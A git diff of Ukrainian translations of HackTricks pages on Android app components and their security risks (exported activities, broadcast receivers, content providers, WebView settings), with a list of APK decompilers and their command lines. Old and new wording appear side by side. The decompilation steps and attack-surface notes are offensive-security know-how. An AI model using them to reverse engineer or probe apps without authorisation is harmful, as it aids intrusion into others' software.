||||
Не всі додатки потребують активності запуску, особливо ті, що не мають інтерфейсу користувача, як фонові сервіси.
|
||||
|
||||
Активності можуть бути доступні для інших додатків або процесів, позначивши їх як "експортовані" в маніфесті. Це налаштування дозволяє іншим додаткам запускати цю активність:
|
||||
Активності можуть бути доступні іншим додаткам або процесам, якщо позначити їх як "експортовані" у маніфесті. Ця настройка дозволяє іншим додаткам запускати цю активність:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
Проте, доступ до діяльності з іншої програми не завжди є загрозою для безпеки. Стурбованість виникає, якщо чутлива інформація передається неправильно, що може призвести до витоку інформації.
|
||||
Однак доступ до активності з іншого додатку не завжди є ризиком для безпеки. Проблема виникає, якщо чутливі дані передаються неналежним чином, що може призвести до витоків інформації.
|
||||
|
||||
**Життєвий цикл діяльності** починається з методу **`onCreate`**, налаштовуючи користувацький інтерфейс та підготовлюючи діяльність до взаємодії з користувачем.
|
||||
Життєвий цикл активності **починається з методу onCreate**, налаштовуючи інтерфейс користувача та готуючи активність до взаємодії з користувачем.
|
||||
|
||||
### Підклас додатку
|
||||
|
||||
У розробці Android додатків є можливість створити **підклас** класу [Application](https://developer.android.com/reference/android/app/Application), хоча це не є обов'язковим. Коли такий підклас визначений, він стає першим класом, який ініціалізується в додатку. Метод **`attachBaseContext`**, якщо він реалізований у цьому підкласі, виконується перед методом **`onCreate`**. Ця налаштування дозволяє ранню ініціалізацію перед запуском решти додатку.
|
||||
У розробці Android додаток має можливість створити **підклас** класу [Application](https://developer.android.com/reference/android/app/Application), хоча це не є обов'язковим. Коли такий підклас визначено, він стає першим класом, який створюється в додатку. Метод **`attachBaseContext`**, якщо він реалізований у цьому підкласі, виконується перед методом **`onCreate`**. Це налаштування дозволяє здійснити ранню ініціалізацію перед початком роботи решти додатку.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
|
@ -292,33 +294,33 @@ super.onCreate();
|
|||
}
|
||||
}
|
||||
```
|
||||
### Сервіси
|
||||
### Services
|
||||
|
||||
[Сервіси](https://developer.android.com/guide/components/services) - це **фонові операції**, які можуть виконувати завдання без інтерфейсу користувача. Ці завдання можуть продовжувати виконуватися навіть тоді, коли користувачі переходять до інших додатків, що робить сервіси важливими для **тривалих операцій**.
|
||||
[Services](https://developer.android.com/guide/components/services) є **фоновими операціями**, здатними виконувати завдання без інтерфейсу користувача. Ці завдання можуть продовжувати виконуватись навіть коли користувачі переходять до інших додатків, що робить сервіси важливими для **тривалих операцій**.
|
||||
|
||||
Сервіси універсальні; їх можна ініціювати різними способами, причому **Інтенти** є основним методом запуску їх як точки входу додатка. Після запуску сервісу за допомогою методу `startService`, його метод `onStart` починає виконуватися і продовжує роботу до тих пір, поки явно не буде викликаний метод `stopService`. З іншого боку, якщо робота сервісу залежить від активного підключення клієнта, то для зв'язування клієнта з сервісом використовується метод `bindService`, який активує метод `onBind` для передачі даних.
|
||||
Сервіси універсальні; їх можна ініціювати різними способами, при цьому **Intents** є основним методом для їх запуску як точки входу додатку. Як тільки сервіс запущено за допомогою методу `startService`, його метод `onStart` починає виконуватись і продовжує працювати, поки метод `stopService` не буде явно викликаний. Альтернативно, якщо роль сервісу залежить від активного з'єднання клієнта, використовується метод `bindService` для прив'язки клієнта до сервісу, активуючи метод `onBind` для передачі даних.
|
||||
|
||||
Цікавим застосуванням сервісів є відтворення фонової музики або отримання мережевих даних без перешкодження взаємодії користувача з додатком. Більше того, сервіси можуть бути доступні іншим процесам на тому ж пристрої через **експорт**. Це не є стандартною поведінкою і вимагає явної конфігурації в файлі маніфесту Android:
|
||||
Цікаве застосування сервісів включає відтворення фонової музики або отримання мережевих даних без перешкоджання взаємодії користувача з додатком. Більше того, сервіси можуть бути доступні іншим процесам на тому ж пристрої через **експорт**. Це не є поведінкою за замовчуванням і вимагає явної конфігурації у файлі Android Manifest:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
### Приймачі трансляцій
|
||||
### Broadcast Receivers
|
||||
|
||||
**Приймачі трансляцій** діють як слухачі в системі обміну повідомленнями, дозволяючи кільком додаткам реагувати на одні й ті ж повідомлення від системи. Додаток може **зареєструвати приймач** двома основними способами: через **Маніфест** додатка або **динамічно** в коді додатка за допомогою API **`registerReceiver`**. У Маніфесті трансляції фільтруються за допомогою дозволів, тоді як динамічно зареєстровані приймачі також можуть вказати дозволи при реєстрації.
|
||||
**Broadcast receivers** діють як слухачі в системі обміну повідомленнями, дозволяючи кільком додаткам реагувати на одні й ті ж повідомлення з системи. Додаток може **зареєструвати приймач** **двома основними способами**: через **Manifest** додатка або **динамічно** в коді додатка за допомогою **`registerReceiver`** API. У Manifest трансляції фільтруються за допомогою дозволів, тоді як динамічно зареєстровані приймачі також можуть вказувати дозволи під час реєстрації.
|
||||
|
||||
**Фільтри намірів** є важливими в обох методах реєстрації, визначаючи, які трансляції спрацьовують приймач. Як тільки відправлена відповідна трансляція, викликається метод **`onReceive`** приймача, що дозволяє додатку реагувати відповідно, наприклад, налаштовуючи поведінку відповідно до сповіщення про низький рівень заряду батареї.
|
||||
**Intent filters** є важливими в обох методах реєстрації, визначаючи, які трансляції активують приймач. Коли надсилається відповідна трансляція, викликається метод **`onReceive`** приймача, що дозволяє додатку реагувати відповідно, наприклад, коригуючи поведінку у відповідь на сигнал про низький рівень заряду батареї.
|
||||
|
||||
Трансляції можуть бути або **асинхронними**, досягаючи всіх приймачів без порядку, або **синхронними**, де приймачі отримують трансляцію на основі встановлених пріоритетів. Однак важливо враховувати потенційний ризик безпеки, оскільки будь-яке додаток може встановити для себе пріоритет для перехоплення трансляції.
|
||||
Трансляції можуть бути **асинхронними**, досягаючи всіх приймачів без порядку, або **синхронними**, де приймачі отримують трансляцію на основі встановлених пріоритетів. Однак важливо зазначити потенційний ризик безпеки, оскільки будь-який додаток може пріоритизувати себе, щоб перехопити трансляцію.
|
||||
|
||||
Щоб зрозуміти функціональність приймача, шукайте метод **`onReceive`** у його класі. Код цього методу може маніпулювати отриманим наміром, що підкреслює необхідність перевірки даних приймачами, особливо в **Упорядкованих трансляціях**, які можуть змінювати або відкидати намір.
|
||||
Щоб зрозуміти функціональність приймача, шукайте метод **`onReceive`** у його класі. Код цього методу може маніпулювати отриманим Intent, підкреслюючи необхідність валідації даних приймачами, особливо в **Ordered Broadcasts**, які можуть змінювати або скасовувати Intent.
|
||||
|
||||
### Постачальник контенту
|
||||
### Content Provider
|
||||
|
||||
**Постачальники контенту** є важливими для **обміну структурованими даними** між додатками, підкреслюючи важливість впровадження **дозволів** для забезпечення безпеки даних. Вони дозволяють додаткам отримувати доступ до даних з різних джерел, включаючи бази даних, файлові системи або мережу. Специфічні дозволи, такі як **`readPermission`** та **`writePermission`**, є важливими для контролю доступу. Крім того, тимчасовий доступ може бути наданий через налаштування **`grantUriPermission`** у Маніфесті додатка, використовуючи атрибути, такі як `path`, `pathPrefix` та `pathPattern` для детального контролю доступу.
|
||||
**Content Providers** є важливими для **обміну структурованими даними** між додатками, підкреслюючи важливість реалізації **дозволів** для забезпечення безпеки даних. Вони дозволяють додаткам отримувати доступ до даних з різних джерел, включаючи бази даних, файлові системи або веб. Специфічні дозволи, такі як **`readPermission`** і **`writePermission`**, є важливими для контролю доступу. Крім того, тимчасовий доступ може бути наданий через налаштування **`grantUriPermission`** у маніфесті додатка, використовуючи атрибути, такі як `path`, `pathPrefix` і `pathPattern` для детального контролю доступу.
|
||||
|
||||
Перевірка введення є надзвичайно важливою для запобігання вразливостей, таких як SQL-ін'єкція. Постачальники контенту підтримують базові операції: `insert()`, `update()`, `delete()` та `query()`, сприяючи маніпулюванню даними та обміну між додатками.
|
||||
Валідація введення є надзвичайно важливою для запобігання вразливостям, таким як SQL-ін'єкції. Content Providers підтримують основні операції: `insert()`, `update()`, `delete()` і `query()`, полегшуючи маніпуляцію даними та обмін між додатками.
|
||||
|
||||
**FileProvider**, спеціалізований постачальник контенту, спрямований на безпечний обмін файлами. Він визначається в Маніфесті додатка з конкретними атрибутами для контролю доступу до папок, позначених `android:exported` та `android:resource`, що вказують на конфігурації папок. Рекомендується обережно діяти при обміні каталогами, щоб уникнути ненавмисного розкриття чутливих даних.
|
||||
**FileProvider**, спеціалізований Content Provider, зосереджується на безпечному обміні файлами. Він визначається в маніфесті додатка з конкретними атрибутами для контролю доступу до папок, позначеними `android:exported` і `android:resource`, що вказують на конфігурації папок. Обережність рекомендується при обміні каталогами, щоб уникнути випадкового розкриття чутливих даних.
|
||||
|
||||
Приклад декларації маніфесту для FileProvider:
|
||||
```xml
|
||||
|
@ -330,49 +332,49 @@ android:exported="false">
|
|||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
І приклад вказання спільних папок у `filepaths.xml`:
|
||||
І приклад вказування спільних папок у `filepaths.xml`:
|
||||
```xml
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
</paths>
|
||||
```
|
||||
Для отримання додаткової інформації перевірте:
|
||||
- [Android Developers: Постачальники контенту](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews - це як **міні-веб-браузери** всередині додатків Android, які витягують контент або з вебу, або з локальних файлів. Вони стикаються з аналогічними ризиками, як і звичайні браузери, але є способи **зменшити ці ризики** за допомогою конкретних **налаштувань**.
|
||||
WebViews - це **міні веб-браузери** всередині Android-додатків, які отримують контент або з вебу, або з локальних файлів. Вони стикаються з подібними ризиками, як і звичайні браузери, але існують способи **зменшити ці ризики** через специфічні **налаштування**.
|
||||
|
||||
Android пропонує два основних типи WebView:
|
||||
|
||||
- **WebViewClient** чудово підходить для базового HTML, але не підтримує функцію сповіщення JavaScript, що впливає на те, як можна тестувати атаки XSS.
|
||||
- **WebChromeClient** діє більше як повноцінний досвід браузера Chrome.
|
||||
- **WebViewClient** підходить для базового HTML, але не підтримує функцію JavaScript alert, що впливає на те, як можна тестувати XSS-атаки.
|
||||
- **WebChromeClient** більше схожий на повний досвід браузера Chrome.
|
||||
|
||||
Важливою точкою є те, що браузери WebView **не діляться кукісами** з основним браузером пристрою.
|
||||
Ключовий момент полягає в тому, що браузери WebView **не ділять куки** з основним браузером пристрою.
|
||||
|
||||
Для завантаження контенту доступні методи, такі як ````loadUrl````, ````loadData````, та ````loadDataWithBaseURL````. Важливо переконатися, що ці URL-адреси або файли **безпечні для використання**. Налаштування безпеки можна керувати за допомогою класу ````WebSettings````. Наприклад, відключення JavaScript за допомогою ````setJavaScriptEnabled(false)```` може запобігти атакам XSS.
|
||||
Для завантаження контенту доступні методи, такі як ````loadUrl````, ````loadData````, і ````loadDataWithBaseURL````. Важливо переконатися, що ці URL або файли є **безпечними для використання**. Налаштування безпеки можна керувати через клас ````WebSettings````. Наприклад, вимкнення JavaScript за допомогою ````setJavaScriptEnabled(false)```` може запобігти XSS-атакам.
|
||||
|
||||
JavaScript "Bridge" дозволяє об'єктам Java взаємодіяти з JavaScript, вимагаючи, щоб методи були позначені як ````@JavascriptInterface```` для забезпечення безпеки з Android 4.2 і вище.
|
||||
JavaScript "Bridge" дозволяє Java-об'єктам взаємодіяти з JavaScript, вимагаючи, щоб методи були позначені ````@JavascriptInterface```` для безпеки з Android 4.2 і вище.
|
||||
|
||||
Дозвіл доступу до контенту (````setAllowContentAccess(true)````) дозволяє WebViews отримувати доступ до постачальників контенту, що може бути ризиком, якщо URL-адреси контенту не підтверджені як безпечні.
|
||||
Дозволяючи доступ до контенту (````setAllowContentAccess(true)````), WebViews можуть отримувати доступ до Content Providers, що може бути ризиком, якщо URL контенту не перевірені як безпечні.
|
||||
|
||||
Для контролю доступу до файлів:
|
||||
- Відключення доступу до файлів (````setAllowFileAccess(false)````) обмежує доступ до файлової системи, з винятками для певних ресурсів, забезпечуючи їх використання лише для нечутливого контенту.
|
||||
- Вимкнення доступу до файлів (````setAllowFileAccess(false)````) обмежує доступ до файлової системи, з винятками для певних активів, забезпечуючи їх використання лише для не чутливого контенту.
|
||||
|
||||
## Інші компоненти додатків та управління мобільними пристроями
|
||||
|
||||
### **Цифровий підпис додатків**
|
||||
|
||||
- **Цифровий підпис** є обов'язковим для додатків Android, що забезпечує їх **автентичне походження** перед встановленням. Цей процес використовує сертифікат для ідентифікації додатка і повинен бути перевірений менеджером пакетів пристрою під час встановлення. Додатки можуть бути **самопідписаними або сертифікованими зовнішнім ЦЗ**, захищаючи від несанкціонованого доступу та забезпечуючи, що додаток залишається недоторканим під час його доставки на пристрій.
|
||||
- **Цифровий підпис** є обов'язковим для Android-додатків, забезпечуючи їх **автентичне авторство** перед установкою. Цей процес використовує сертифікат для ідентифікації додатка і повинен бути перевірений менеджером пакетів пристрою під час установки. Додатки можуть бути **самопідписаними або сертифікованими зовнішнім CA**, захищаючи від несанкціонованого доступу та забезпечуючи, щоб додаток залишався незмінним під час його доставки на пристрій.
|
||||
|
||||
### **Перевірка додатків для підвищення безпеки**
|
||||
|
||||
- Починаючи з **Android 4.2**, функція під назвою **Verify Apps** дозволяє користувачам перевіряти додатки на безпеку перед встановленням. Цей **процес перевірки** може попереджати користувачів про потенційно шкідливі додатки або навіть запобігати встановленню особливо зловмисних, підвищуючи безпеку користувача.
|
||||
- Починаючи з **Android 4.2**, функція під назвою **Verify Apps** дозволяє користувачам перевіряти додатки на безпеку перед установкою. Цей **процес перевірки** може попереджати користувачів про потенційно шкідливі додатки або навіть запобігати установці особливо шкідливих, підвищуючи безпеку користувачів.
|
||||
|
||||
### **Управління мобільними пристроями (MDM)**
|
||||
|
||||
- **Рішення MDM** забезпечують **нагляд та безпеку** для мобільних пристроїв через **API адміністрування пристроєм**. Вони вимагають встановлення додатка Android для ефективного управління та захисту мобільних пристроїв. Основні функції включають **застосування політик паролю**, **обов'язкове шифрування сховища** та **дозвіл на видалення даних віддалено**, забезпечуючи повний контроль та безпеку над мобільними пристроями.
|
||||
- **MDM-рішення** забезпечують **нагляд та безпеку** для мобільних пристроїв через **Device Administration API**. Вони вимагають установки Android-додатка для ефективного управління та захисту мобільних пристроїв. Ключові функції включають **впровадження політик паролів**, **обов'язкове шифрування зберігання** та **дозволення віддаленого видалення даних**, забезпечуючи всебічний контроль та безпеку мобільних пристроїв.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -383,22 +385,23 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
**Група з безпеки Try Hard**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,71 +1,89 @@
|
|||
# Декомпілятори APK
|
||||
# APK decompilers
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
**Для докладніших відомостей про кожний інструмент перегляньте оригінальний пост з [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
|
||||
**Для отримання додаткової інформації про кожен інструмент перегляньте оригінальний пост з [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
|
||||
|
||||
|
||||
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
|
||||
|
||||
Як перший GUI декомпілятор Java, **JD-Gui** дозволяє вам досліджувати Java-код у файлах APK. Це просто у використанні; після отримання APK просто відкрийте його за допомогою JD-Gui для перевірки коду.
|
||||
Як піонер GUI Java декомпілятора, **JD-Gui** дозволяє вам досліджувати Java код у файлах APK. Його легко використовувати; після отримання APK просто відкрийте його за допомогою JD-Gui, щоб перевірити код.
|
||||
|
||||
### [Jadx](https://github.com/skylot/jadx)
|
||||
|
||||
**Jadx** пропонує зручний інтерфейс для декомпіляції Java-коду з Android-додатків. Рекомендується за його зручність використання на різних платформах.
|
||||
**Jadx** пропонує зручний інтерфейс для декомпіляції Java коду з Android додатків. Рекомендується за його простоту використання на різних платформах.
|
||||
|
||||
- Для запуску GUI перейдіть до каталогу bin та виконайте: `jadx-gui`
|
||||
- Для використання з командним рядком декомпілюйте APK за допомогою: `jadx app.apk`
|
||||
- Для вказання каталогу виведення або налаштування параметрів декомпіляції: `jadx app.apk -d <шлях до каталогу виведення> --no-res --no-src --no-imports`
|
||||
- Щоб запустити GUI, перейдіть до каталогу bin і виконайте: `jadx-gui`
|
||||
- Для використання з командного рядка, декомпіліруйте APK за допомогою: `jadx app.apk`
|
||||
- Щоб вказати каталог виводу або налаштувати параметри декомпіляції: `jadx app.apk -d <шлях до каталогу виводу> --no-res --no-src --no-imports`
|
||||
|
||||
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
|
||||
|
||||
**GDA**, інструмент лише для Windows, пропонує широкі можливості для реверс-інженерії Android-додатків. Встановіть та запустіть GDA на вашій системі Windows, а потім завантажте файл APK для аналізу.
|
||||
**GDA**, інструмент лише для Windows, пропонує розширені функції для реверс-інжинірингу Android додатків. Встановіть і запустіть GDA на вашій Windows системі, потім завантажте файл APK для аналізу.
|
||||
|
||||
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
|
||||
|
||||
З **Bytecode-Viewer** ви можете аналізувати файли APK за допомогою кількох декомпіляторів. Після завантаження запустіть Bytecode-Viewer, завантажте свій APK та виберіть декомпілятори, які ви хочете використовувати для одночасного аналізу.
|
||||
З **Bytecode-Viewer** ви можете аналізувати файли APK, використовуючи кілька декомпіляторів. Після завантаження запустіть Bytecode-Viewer, завантажте ваш APK і виберіть декомпілятори, які ви хочете використовувати для одночасного аналізу.
|
||||
|
||||
### [Enjarify](https://github.com/Storyyeller/enjarify)
|
||||
|
||||
**Enjarify** перетворює байткод Dalvik на байткод Java, що дозволяє інструментам аналізу Java ефективніше аналізувати Android-додатки.
|
||||
**Enjarify** перетворює Dalvik байт-код у Java байт-код, що дозволяє Java інструментам аналізувати Android додатки більш ефективно.
|
||||
|
||||
- Для використання Enjarify запустіть: `enjarify app.apk`
|
||||
Це генерує Java-байткод, еквівалентний наданому APK.
|
||||
- Щоб використовувати Enjarify, запустіть: `enjarify app.apk`
|
||||
Це генерує еквівалент Java байт-коду наданого APK.
|
||||
|
||||
### [CFR](https://github.com/leibnitz27/cfr)
|
||||
|
||||
**CFR** здатний декомпілювати сучасні функції Java. Використовуйте його наступним чином:
|
||||
**CFR** здатний декомпілірувати сучасні Java функції. Використовуйте його наступним чином:
|
||||
|
||||
- Для стандартної декомпіляції: `java -jar ./cfr.jar "app.jar" --outputdir "каталог_виведення"`
|
||||
- Для великих файлів JAR налаштуйте виділення пам'яті JVM: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "каталог_виведення"`
|
||||
- Для стандартної декомпіляції: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||
- Для великих JAR файлів, налаштуйте виділення пам'яті JVM: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||
|
||||
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
|
||||
|
||||
**Fernflower**, аналітичний декомпілятор, потребує побудови з вихідних кодів. Після побудови:
|
||||
**Fernflower**, аналітичний декомпілятор, вимагає компіляції з виходу. Після компіляції:
|
||||
|
||||
- Декомпілюйте файл JAR: `java -jar ./fernflower.jar "app.jar" "каталог_виведення"`
|
||||
Потім витягніть файли `.java` з згенерованого JAR за допомогою `unzip`.
|
||||
- Декомпіліруйте JAR файл: `java -jar ./fernflower.jar "app.jar" "output_directory"`
|
||||
Потім витягніть `.java` файли з згенерованого JAR за допомогою `unzip`.
|
||||
|
||||
### [Krakatau](https://github.com/Storyyeller/Krakatau)
|
||||
|
||||
**Krakatau** пропонує детальний контроль над декомпіляцією, особливо для обробки зовнішніх бібліотек.
|
||||
|
||||
- Використовуйте Krakatau, вказавши шлях до стандартної бібліотеки та файл JAR для декомпіляції: `./Krakatau/decompile.py -out "каталог_виведення" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
||||
- Використовуйте Krakatau, вказуючи шлях до стандартної бібліотеки та JAR файл для декомпіляції: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
||||
|
||||
### [procyon](https://github.com/mstrobel/procyon)
|
||||
|
||||
Для простої декомпіляції з **procyon**:
|
||||
Для простого декомпілювання з **procyon**:
|
||||
|
||||
- Декомпілюйте файл JAR у вказаний каталог: `procyon -jar "app.jar" -o "каталог_виведення"`
|
||||
- Декомпіліруйте JAR файл у вказаний каталог: `procyon -jar "app.jar" -o "output_directory"`
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,37 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
